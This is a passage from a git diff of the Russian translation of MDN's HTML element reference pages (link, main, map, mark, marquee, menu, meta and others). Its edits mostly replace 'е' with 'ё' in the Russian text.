идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут <strong>value</strong> не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}). <div class="note"><strong>Примечание</strong>: Этот атрибут был убран в HTML4, но заново добавлен в HTML5.</div> <div class="note"> @@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/li <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.li")}}</p> diff --git a/files/ru/web/html/element/link/index.html b/files/ru/web/html/element/link/index.html index 2ae2f1f1df..82be65b592 100644 --- a/files/ru/web/html/element/link/index.html +++ b/files/ru/web/html/element/link/index.html @@ -23,7 +23,7 @@ original_slug: Web/HTML/Element/ссылка <p>В этом простом примере указывается путь к таблице стилей внутри атрибута <code>href</code> и атрибут <code>rel</code> со значением <code>stylesheet</code>. <code>rel</code> означает "отношения (relationship)", и, вероятно, является одной из ключевых особенностей элемента <code><link></code> — значение сообщает как указанный элемент связан с содержащим его документом. Как вы увидите в нашем справочнике <a href="/en-US/docs/Web/HTML/Link_types">типы ссылок</a>, есть много различных видов отношений.</p> -<p>Существует ряд других распространенных типов, с которыми вы столкнетесь. Например, ссылка на сайт иконок:</p> +<p>Существует ряд других распространённых типов, с которыми вы столкнётесь. Например, ссылка на сайт иконок:</p> <pre class="brush: html no-line-numbers notranslate"><link rel="icon" href="favicon.ico"></pre> @@ -44,7 +44,7 @@ original_slug: Web/HTML/Element/ссылка <pre class="brush: html no-line-numbers notranslate"><link rel="preload" href="myFont.woff2" as="font" type="font/woff2" crossorigin="anonymous"></pre> -<p>Значение <code>rel</code> - <code>preload</code> указывает, что браузер должен предварительно загрузить этот ресурс (смотрите <a href="/en-US/docs/Web/HTML/Preloading_content">Предварительная загрузка контента при помощи rel="preload"</a> для более подробной информации), атрибут <code>as</code> указывает на определенный класс загружаемого контента. Атрибут <code>crossorigin</code> указывает должен ли ресурс загружаться с помощью запроса {{Glossary("CORS")}}.</p> +<p>Значение <code>rel</code> - <code>preload</code> указывает, что браузер должен предварительно загрузить этот ресурс (смотрите <a href="/en-US/docs/Web/HTML/Preloading_content">Предварительная загрузка контента при помощи rel="preload"</a> для более подробной информации), атрибут <code>as</code> указывает на определённый класс загружаемого контента. Атрибут <code>crossorigin</code> указывает должен ли ресурс загружаться с помощью запроса {{Glossary("CORS")}}.</p> <p>Другие замечания по использованию:</p> @@ -67,9 +67,9 @@ original_slug: Web/HTML/Element/ссылка <dd>Этот перечисляемый атрибут указывает, должен ли {{Glossary("CORS")}} использоваться при загрузки ресурса. <a href="/en-US/docs/Web/HTML/CORS_Enabled_Image">CORS-поддерживаемые изображения</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не <em>искажая </em>их. Допустимы значения: <dl> <dt><code>anonymous</code></dt> - <dd>Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учетные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учетные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}), изображение будет искажено, а его использование ограничено.</dd> + <dd>Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учётные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учётные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}), изображение будет искажено, а его использование ограничено.</dd> <dt><code>use-credentials</code></dt> - <dd>Cross-origin запрос (т.е. с HTTP-заголовком <code>Origin</code>) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учетные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажен, а его использование ограничено.</dd> + <dd>Cross-origin запрос (т.е. с HTTP-заголовком <code>Origin</code>) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учётные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажён, а его использование ограничено.</dd> </dl> Если атрибут отсутствует, ресурс загружается без запроса {{Glossary("CORS")}} (т.е. без отправки HTTP-заголовка <code>Origin)</code>, предотвращая его незагрязненное использование. В случае невалидности, он обрабатывается как при использовании ключевого слова <strong>anonymous.</strong> Для получения дополнительной информации смотрите <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a>.</dd> <dt>{{HTMLAttrDef("href")}}</dt> @@ -97,8 +97,8 @@ original_slug: Web/HTML/Element/ссылка <p><strong>Примечания:</strong></p> <ul> - <li>В HTML 4, это может быть только простой, разделенный пробелами, список литералов, описывающих медиа, т.е. <a href="/en-US/docs/Web/CSS/@media">media типы и группы</a>, которые определены и допустимы в качестве значений для этого атрибута, такие как <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 распространил это на любые <a href="/en-US/docs/Web/CSS/Media_queries">медиавыражения</a>, которые являются расширенным набором допустимых значений HTML 4.</li> - <li>Браузеры, не поддерживающие <a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Media Queries</a>, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определенным в HTML 4.</li> + <li>В HTML 4, это может быть только простой, разделённый пробелами, список литералов, описывающих медиа, т.е. <a href="/en-US/docs/Web/CSS/@media">media типы и группы</a>, которые определены и допустимы в качестве значений для этого атрибута, такие как <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 распространил это на любые <a href="/en-US/docs/Web/CSS/Media_queries">медиавыражения</a>, которые являются расширенным набором допустимых значений HTML 4.</li> + <li>Браузеры, не поддерживающие <a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Media Queries</a>, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определённым в HTML 4.</li> </ul> </div> </dd> @@ -109,11 +109,11 @@ original_slug: Web/HTML/Element/ссылка <li><code>no-referrer-when-downgrade</code> означает, что заголовок {{HTTPHeader("Referer")}} не будет отправлен при переходе к источнику без TLS (HTTPS). Это поведение пользовательского агента по умолчанию, если не указано иное.</li> <li><code>origin</code> означает, что реферером будет источник, который соответствует схеме, хосту и порту.</li> <li><code>origin-when-cross-origin</code> означает, что навигация к другим источникам будет ограничена схемой, хостом, портом, в то время как навигация по одному и тому же источнику будет включать путь реферер .</li> - <li><code>unsafe-url</code> означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищенных ресурсов в незащищенные источники.</li> + <li><code>unsafe-url</code> означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищённых ресурсов в незащищённые источники.</li> </ul> </dd> <dt>{{HTMLAttrDef("rel")}}</dt> - <dd>Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделенным пробелами списком <a href="/en-US/docs/Web/HTML/Link_types">значений типов ссылки</a>.</dd> + <dd>Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделённым пробелами списком <a href="/en-US/docs/Web/HTML/Link_types">значений типов ссылки</a>.</dd> <dt>{{HTMLAttrDef("sizes")}}</dt> <dd>Этот атрибут определяет размеры иконки для визуальных медиа, содержащихся в ресурсе. Он должен быть представлен только, если {{HTMLAttrxRef("rel", "link")}} содержит значение <code>icon</code> или нестандартный тип, например <code>apple-touch-icon</code> Apple. Может иметь следующие значения: <ul> @@ -152,7 +152,7 @@ original_slug: Web/HTML/Element/ссылка <dl> <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt> - <dd>Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделенный пробелами и/или запятыми, как определено в {{rfc(2045)}}. Значение по умолчанию <code>iso-8859-1</code>. + <dd>Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделённый пробелами и/или запятыми, как определено в {{rfc(2045)}}. Значение по умолчанию <code>iso-8859-1</code>. <div class="note"><strong>Примечание по использованию:</strong> Для получения эффекта использования данного устаревшего атрибута, используйте HTTP-заголовок {{HTTPHeader("Content-Type")}} на связываемый ресурс.</div> </dd> <dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt> @@ -160,7 +160,7 @@ original_slug: Web/HTML/Element/ссылка <p><span lang="ru">Значение этого атрибута показывает отношение текущего документа к связываемому документу, как определено атрибутом</span> {{HTMLAttrxRef("href", "link")}}. <span lang="ru">Этот атрибут, таким образом, определяет обратную связь по сравнению со значением атрибута </span><code>rel</code><span lang="ru">. </span><a href="/en-US/docs/Web/HTML/Link_types">Значения типов ссылки </a><span lang="ru">для атрибута аналогичны возможным значениям для</span> {{HTMLAttrxRef("rel", "link")}}.</p> <div class="blockIndicator note"> - <p><strong>Примечание:</strong> Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что <code>rev</code> <em>не</em> считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределенность, полагаться на <code>rev</code> не стоит.</p> + <p><strong>Примечание:</strong> Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что <code>rev</code> <em>не</em> считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределённость, полагаться на <code>rev</code> не стоит.</p> </div> </dd> <dd> @@ -187,7 +187,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете указать <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">альтернативные таблицы стилей</a>.</p> -<p>Пользователь может выбрать, какую таблицу стилей использовать, выбрав ее в меню Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.</p> +<p>Пользователь может выбрать, какую таблицу стилей использовать, выбрав её в меню Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.</p> <pre class="brush: html no-line-numbers notranslate"><link href="default.css" rel="stylesheet" title="Default Style"> <link href="fancy.css" rel="alternate stylesheet" title="Fancy"> @@ -255,7 +255,7 @@ myStylesheet.onerror = function() { <td>Контент метаданных. Если есть <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">потоковый контент</a> и <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th>Разрешенный контент</th> + <th>Разрешённый контент</th> <td>Нет, это {{Glossary("empty element")}}.</td> </tr> <tr> @@ -263,11 +263,11 @@ myStylesheet.onerror = function() { <td>Так как это пустой элемент, присутствовать должен начальный тэг, конечный - отсутствует.</td> </tr> <tr> - <th>Разрешенные родители</th> + <th>Разрешённые родители</th> <td>Любой элемент, принимающий элементы метаданных. Если есть <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: любой элемент, принимающий <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> diff --git a/files/ru/web/html/element/main/index.html b/files/ru/web/html/element/main/index.html index e3b64bf33d..52754d8c16 100644 --- a/files/ru/web/html/element/main/index.html +++ b/files/ru/web/html/element/main/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTML/Element/main --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><main></code></strong> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или ее развивает.</span></p> +<p><span class="seoSummary"><strong>HTML-элемент <code><main></code></strong> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или её развивает.</span></p> <div>{{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-shorter")}}</div> @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/main <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th>Разрешенное содержимое</th> + <th>Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td> </tr> <tr> @@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/main <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th>Разрешенные родительские элементы</th> + <th>Разрешённые родительские элементы</th> <td>Те, в которых разрешается <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого, но только если это <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#hierarchically-correct-main-element" id="the-main-element:hierarchically-correct-main-element">иерархически корректный <code>main</code> элемент</a>.</td> </tr> <tr> - <th>Разрешенные ARIA роли</th> + <th>Разрешённые ARIA роли</th> <td>Роль <code>main</code> применяется к <code><main></code> по умолчанию, и роль <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role">presentation</a></code> также разрешена.</td> </tr> <tr> @@ -70,14 +70,14 @@ translation_of: Web/HTML/Element/main <article> <h2>Сорт "Ред Делишес"</h2> - <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединенных Штатах.</p> + <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединённых Штатах.</p> <p>... </p> <p>... </p> </article> <article> <h2>Сорт "Гренни Смит";/h2> - <p>Эти сочные, зеленые яблоки являются одними из самых популярных в мире.</p> + <p>Эти сочные, зелёные яблоки являются одними из самых популярных в мире.</p> <p>... </p> <p>... </p> </article> @@ -93,7 +93,7 @@ translation_of: Web/HTML/Element/main <h3 id="Ориентир">Ориентир</h3> -<p>Элемент <code><main></code> ведет себя как <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">роль-ориентир <code>main</code></a>. <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques#Landmark_roles">Ориентиры</a> могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <code><main></code> вместо объявления <code>role="main"</code>, если не нужна <a href="/ru/docs/Web/HTML/Element/main#%D0%9F%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D0%BC%D0%B8">поддержка старых браузеров</a>.</p> +<p>Элемент <code><main></code> ведёт себя как <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">роль-ориентир <code>main</code></a>. <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques#Landmark_roles">Ориентиры</a> могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <code><main></code> вместо объявления <code>role="main"</code>, если не нужна <a href="/ru/docs/Web/HTML/Element/main#%D0%9F%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D0%BC%D0%B8">поддержка старых браузеров</a>.</p> <h3 id="Пропуск_навигации">Пропуск навигации</h3> diff --git a/files/ru/web/html/element/map/index.html b/files/ru/web/html/element/map/index.html index 751a526d64..502f0414ba 100644 --- a/files/ru/web/html/element/map/index.html +++ b/files/ru/web/html/element/map/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/map <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td>Любой <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#%D0%9F%D1%80%D0%BE%D0%B7%D1%80%D0%B0%D1%87%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82%D0%B0">прозрачный</a> элемент.</td> </tr> <tr> @@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/map <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любые элементы, которые принимают <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> @@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/map <dl> <dt>{{htmlattrdef("name")}}</dt> - <dd>Атрибут name дает карте имя, чтобы на нее можно было ссылаться. Атрибут должен быть определен и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.</dd> + <dd>Атрибут name даёт карте имя, чтобы на неё можно было ссылаться. Атрибут должен быть определён и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/html/element/mark/index.html b/files/ru/web/html/element/mark/index.html index 4673a4eec8..e281d28bb6 100644 --- a/files/ru/web/html/element/mark/index.html +++ b/files/ru/web/html/element/mark/index.html @@ -3,7 +3,7 @@ title: <mark> slug: Web/HTML/Element/mark translation_of: Web/HTML/Element/mark --- -<p><strong>HTML</strong> <strong>элемент <code><mark></code> </strong>представляет текст, выделенный в справочных целях из-за своей <em>актуальности </em>в определенном контексте. <span id="result_box" lang="ru"><span>Например, он может</span> <span>быть использован на странице с результатом поиска, в которой выделяется</span><span> </span><span>каждый</span> <span>экземпляр</span> <span>искомого</span> <span>слова</span><span>.</span></span></p> +<p><strong>HTML</strong> <strong>элемент <code><mark></code> </strong>представляет текст, выделенный в справочных целях из-за своей <em>актуальности </em>в определённом контексте. <span id="result_box" lang="ru"><span>Например, он может</span> <span>быть использован на странице с результатом поиска, в которой выделяется</span><span> </span><span>каждый</span> <span>экземпляр</span> <span>искомого</span> <span>слова</span><span>.</span></span></p> <table class="properties"> <tbody> @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/mark <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Содержимое потока</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз</a>, ощутимое содержимое.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Содержимое фраз</a>.</td> </tr> <tr> @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/mark <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>родители</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые</span> <span>родители</span></span></th> <td><span id="result_box" lang="ru"><span>Любой элемент</span><span>, который принимает</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз.</a></td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>роли</span> <span>ARIA</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые</span> <span>роли</span> <span>ARIA</span></span></th> <td>Любые</td> </tr> <tr> diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html index 8caafd13f3..3faaccd160 100644 --- a/files/ru/web/html/element/marquee/index.html +++ b/files/ru/web/html/element/marquee/index.html @@ -18,23 +18,23 @@ translation_of: Web/HTML/Element/marquee <dt>{{htmlattrdef("behavior")}}</dt> <dd>Описывает поведение прокрутки. Допустимые значения: <code>scroll</code>, <code>slide</code> <code>и alternate</code>. Если значение не указано, то используется <code>scroll</code>.</dd> <dt>{{htmlattrdef("bgcolor")}}</dt> - <dd>Задает цвет фона (можно использовать имя цвета или шестнадцатеричное значение).</dd> + <dd>Задаёт цвет фона (можно использовать имя цвета или шестнадцатеричное значение).</dd> <dt>{{htmlattrdef("direction")}}</dt> - <dd>Задает направление прокрутки. <code>Допустимые значения: left</code>, <code>right</code>, <code>up</code> и <code>down</code>. Если значение не указано, то используется <code>left</code>.</dd> + <dd>Задаёт направление прокрутки. <code>Допустимые значения: left</code>, <code>right</code>, <code>up</code> и <code>down</code>. Если значение не указано, то используется <code>left</code>.</dd> <dt>{{htmlattrdef("height")}}</dt> <dd>Задаёт высоту в пикселях или процентах.</dd> <dt>{{htmlattrdef("hspace")}}</dt> - <dd>Задает поле (margin) слева.</dd> + <dd>Задаёт поле (margin) слева.</dd> <dt>{{htmlattrdef("loop")}}</dt> <dd>Задаёт количество прокруток. Если значение не указано, то используется -1, что означает бесконечную прокрутку</dd> <dt>{{htmlattrdef("scrollamount")}}</dt> - <dd>Задает сдвиг на каждом шаге в пикселях. По умолчанию 6.</dd> + <dd>Задаёт сдвиг на каждом шаге в пикселях. По умолчанию 6.</dd> <dt>{{htmlattrdef("scrolldelay")}}</dt> - <dd>Задает интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут <code>truespeed</code>.</dd> + <dd>Задаёт интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут <code>truespeed</code>.</dd> <dt>{{htmlattrdef("truespeed")}}</dt> <dd>По умолчанию значения меньше 60 в<code> scrolldelay игнорируются</code>. Однако, если присутствует <code>truespeed</code>, то они не игнорируются</dd> <dt>{{htmlattrdef("vspace")}}</dt> - <dd>Задает вертикальный отступ (margin) в пикселях или процентах.</dd> + <dd>Задаёт вертикальный отступ (margin) в пикселях или процентах.</dd> <dt>{{htmlattrdef("width")}}</dt> <dd>Задаёт ширину в пикселях или процентах.</dd> </dl> diff --git a/files/ru/web/html/element/menu/index.html b/files/ru/web/html/element/menu/index.html index 1651378eda..7d0b236c41 100644 --- a/files/ru/web/html/element/menu/index.html +++ b/files/ru/web/html/element/menu/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/menu </td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td> <p>If the element is in the <em>list menu</em> state: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}. (<em>list menu</em> is the default state, unless the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.)</p> @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/menu <td>{{No_Tag_Omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который поддерживает <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">основной поток</a>.</td> </tr> <tr> @@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/menu <td><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/List_role">list</a></code></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, <code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/listbox_role">listbox</a></code>, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}} или {{ARIARole("tree")}}</td> </tr> <tr> diff --git a/files/ru/web/html/element/meta/index.html b/files/ru/web/html/element/meta/index.html index 4ce26b0214..86f9522953 100644 --- a/files/ru/web/html/element/meta/index.html +++ b/files/ru/web/html/element/meta/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/meta <td>Мета данные. Если задан {{htmlattrxref("itemprop")}} атрибут: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td> </tr> <tr> - <th>Разрешенное содержимое</th> + <th>Разрешённое содержимое</th> <td>Отсутствует - это {{Glossary("empty element","пустой элемент")}}.</td> </tr> <tr> @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/meta <td>Так как это пустой элемент, то открывающий тег должен присутствовать, а закрывающий - отсутствовать.</td> </tr> <tr> - <th>Разрешенные родительские элементы</th> + <th>Разрешённые родительские элементы</th> <td><code><meta charset></code>, <code><meta http-equiv></code>: {{HTMLElement("head")}} элемент. Если {{htmlattrxref("http-equiv", "meta")}} это не заявленная декларация, то может быть внутри элемента {{HTMLElement("noscript")}} или {{HTMLElement("head")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют</td> </tr> <tr> @@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/meta <dl> <dt>{{htmlattrdef("charset")}}</dt> - <dd>Этот атрибут задает кодировку символов, используемую на странице. Он должен содержать <a class="external" href="https://www.iana.org/assignments/character-sets">стандартное имя IANA MIME для кодировки символов</a>. Хотя стандарт не требует определенной кодировки, он рекомендует: + <dd>Этот атрибут задаёт кодировку символов, используемую на странице. Он должен содержать <a class="external" href="https://www.iana.org/assignments/character-sets">стандартное имя IANA MIME для кодировки символов</a>. Хотя стандарт не требует определённой кодировки, он рекомендует: <ul> <li>Авторам рекомендуется использовать <code>{{glossary("UTF-8")}}</code>.</li> <li>Не следует использовать ASCII-несовместимые кодировки, чтобы избежать угроз безопасности: браузеры, не поддерживающие их, могут интерпретировать вредоносный контент как HTML. Это относится к семейству кодировок <code>JIS_C6226-1983</code>, <code>JIS_X0212-1990</code>, <code>HZ-GB-2312</code>, <code>JOHAB</code> и <code>EBCDIC</code>.</li> @@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/meta <li>Этот <code><meta></code> элемент - часть алгоритма, определяющего набор символов (<a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#encoding-sniffing-algorithm" title="Algorithm charset page">algorithm to determine the character set</a>) страницы, который браузер поддерживает. Заголовок {{HTTPHeader("Content-Type")}} и любые {{Glossary("Byte-Order Mark","Byte-Order Marks")}} элементы переопределяют данный элемент.</li> <li>Настоятельно рекомендуется определить кодировку символов. Если для страницы не определён набор символов, то некоторые cross-scripting технологии могут повредить страницу, например такие как <a class="external" href="https://code.google.com/p/doctype-mirror/wiki/ArticleUtf7">UTF-7 fallback cross-scripting technique</a>. Постоянная установка этого элемента будет защищать Вас от этого риска.</li> <li>Этот {{HTMLElement("meta")}} элемент это синоним для pre-HTML5 <code><meta http-equiv="Content-Type" content="text/html; charset=<em>IANAcharset</em>"> </code>где <em><code>IANAcharset</code> </em>соответствует значению эквивалентного {{htmlattrxref("charset", "meta")}} атрибута.<br> - Этот синтаксис по-прежнему разрешен, хотя и устарел и больше не рекомендуется.</li> + Этот синтаксис по-прежнему разрешён, хотя и устарел и больше не рекомендуется.</li> </ul> </div> </dd> @@ -129,8 +129,8 @@ translation_of: Web/HTML/Element/meta <li><code>автор</code> определяет в свободном формате имя автора документа;</li> <li>описание, содержащее краткое и точное резюме содержания страницы. В некоторых браузерах, среди которых Firefox и Opera, этот мета используется как описание страницы по умолчанию в закладке;</li> <li>генератор, содержащий в свободном формате идентификатор программного обеспечения, создавшего страницу;;</li> - <li>Ключевые слова, представленные строками, разделенными запятыми, связанные с содержанием страницы</li> - <li><code>referrer</code> {{experimental_inline}} контролирует содержимое HTTP. <code>Referer</code> HTTP - заголовок, прикрепленный к любому запросу, отправленному из этого документа: + <li>Ключевые слова, представленные строками, разделёнными запятыми, связанные с содержанием страницы</li> + <li><code>referrer</code> {{experimental_inline}} контролирует содержимое HTTP. <code>Referer</code> HTTP - заголовок, прикреплённый к любому запросу, отправленному из этого документа: <table class="standard-table"> <caption>Значения содержимого атрибута <meta name="referrer"></caption> <tbody> @@ -148,11 +148,11 @@ translation_of: Web/HTML/Element/meta </tr> <tr> <td><code>origin-when-crossorigin</code></td> - <td>Отправляет полный URL (удаленный из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.</td> + <td>Отправляет полный URL (удалённый из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.</td> </tr> <tr> <td><code>unsafe-URL</code></td> - <td>Отправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрестного происхождения.</td> + <td>Отправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрёстного происхождения.</td> </tr> </tbody> </table> @@ -167,10 